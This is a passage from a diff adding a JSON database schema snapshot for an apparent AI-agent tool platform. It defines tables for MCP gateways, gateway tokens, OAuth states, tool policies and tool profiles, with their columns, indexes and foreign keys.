+      },
+      "foreignKeys": {
+        "tool_mcp_gateway_tokens_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateway_tokens_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "expiry_override_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateways": {
+      "name": "tool_mcp_gateways",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gw_' || replace(gen_random_uuid()::text, '-', '')"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_slug": {
+          "name": "display_slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_profile_mode": {
+          "name": "default_profile_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_only'"
+        },
+        "context_scope_type": {
+          "name": "context_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "context_scope_id": {
+          "name": "context_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_issue_id": {
+          "name": "approval_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "auth_config": {
+          "name": "auth_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"bearer\":{\"enabled\":true,\"tokenPrefix\":\"pcgw\",\"defaultTtlSeconds\":7776000,\"requireFiniteExpiry\":true,\"longLivedTokenRequiresOverride\":true},\"oauth\":{\"enabled\":false,\"reservedFor\":\"v1_5\",\"dynamicClientRegistration\":false,\"authorizationCodePkce\":false}}'::jsonb"
+        },
+        "header_policy": {
+          "name": "header_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"callerPassthrough\":{\"enabled\":false,\"allowedHeaders\":[]},\"staticHeaders\":[],\"generatedMetadata\":{\"enabled\":false,\"allowedHeaders\":[]},\"responseHeaders\":{\"forwardMcpRequiredHeaders\":true,\"forwardSafeCacheHeaders\":true}}'::jsonb"
+        },
+        "metadata_policy": {
+          "name": "metadata_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"forwardCompanyId\":false,\"forwardGatewayId\":false,\"forwardProjectId\":false,\"forwardIssueId\":false,\"forwardAgentId\":false,\"forwardRunId\":false,\"forwardCorrelationId\":true}'::jsonb"
+        },
+        "on_demand_tools_config": {
+          "name": "on_demand_tools_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"enabled\":false,\"searchToolName\":\"search_tools\",\"runToolName\":\"run_tool\"}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateways_company_idx": {
+          "name": "tool_mcp_gateways_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_status_idx": {
+          "name": "tool_mcp_gateways_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_profile_idx": {
+          "name": "tool_mcp_gateways_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_public_id_uq": {
+          "name": "tool_mcp_gateways_public_id_uq",
+          "columns": [
+            {
+              "expression": "gateway_public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_slug_uq": {
+          "name": "tool_mcp_gateways_company_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_name_uq": {
+          "name": "tool_mcp_gateways_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_mcp_gateways_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateways_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_profile_id_tool_profiles_id_fk": {
+          "name": "tool_mcp_gateways_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_project_id_projects_id_fk": {
+          "name": "tool_mcp_gateways_project_id_projects_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_approval_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_approval_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "approval_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_oauth_states": {
+      "name": "tool_oauth_states",
+      "schema": "",
+      "columns": {
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "code_verifier": {
+          "name": "code_verifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_id": {
+          "name": "created_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_session_id": {
+          "name": "created_by_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_scopes": {
+          "name": "requested_scopes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_to": {
+          "name": "return_to",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_oauth_states_company_idx": {
+          "name": "tool_oauth_states_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_connection_idx": {
+          "name": "tool_oauth_states_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_actor_idx": {
+          "name": "tool_oauth_states_actor_idx",
+          "columns": [
+            {
+              "expression": "created_by_actor_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_actor_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_expires_at_idx": {
+          "name": "tool_oauth_states_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_oauth_states_company_id_companies_id_fk": {
+          "name": "tool_oauth_states_company_id_companies_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_oauth_states_connection_id_tool_connections_id_fk": {
+          "name": "tool_oauth_states_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_policies": {
+      "name": "tool_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_type": {
+          "name": "policy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "selectors": {
+          "name": "selectors",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_policies_company_enabled_idx": {
+          "name": "tool_policies_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_type_idx": {
+          "name": "tool_policies_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_name_uq": {
+          "name": "tool_policies_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_policies_company_id_companies_id_fk": {
+          "name": "tool_policies_company_id_companies_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_policies_created_by_agent_id_agents_id_fk": {
+          "name": "tool_policies_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_bindings": {
+      "name": "tool_profile_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_bindings_company_target_idx": {
+          "name": "tool_profile_bindings_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_bindings_target_profile_uq": {
+          "name": "tool_profile_bindings_target_profile_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_bindings_company_id_companies_id_fk": {
+          "name": "tool_profile_bindings_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_bindings_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_created_by_agent_id_agents_id_fk": {
+          "name": "tool_profile_bindings_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_entries": {
+      "name": "tool_profile_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selector_type": {
+          "name": "selector_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect": {
+          "name": "effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'include'"
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_entries_company_profile_idx": {
+          "name": "tool_profile_entries_company_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_application_idx": {
+          "name": "tool_profile_entries_application_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_connection_idx": {
+          "name": "tool_profile_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_catalog_entry_idx": {
+          "name": "tool_profile_entries_catalog_entry_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "catalog_entry_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_entries_company_id_companies_id_fk": {
+          "name": "tool_profile_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_entries_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_profile_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_profile_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profiles": {
+      "name": "tool_profiles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_key": {
+          "name": "profile_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "default_action": {
+          "name": "default_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'deny'"
+        },
+        "new_tools_reviewed_at": {
+          "name": "new_tools_reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profiles_company_status_idx": {
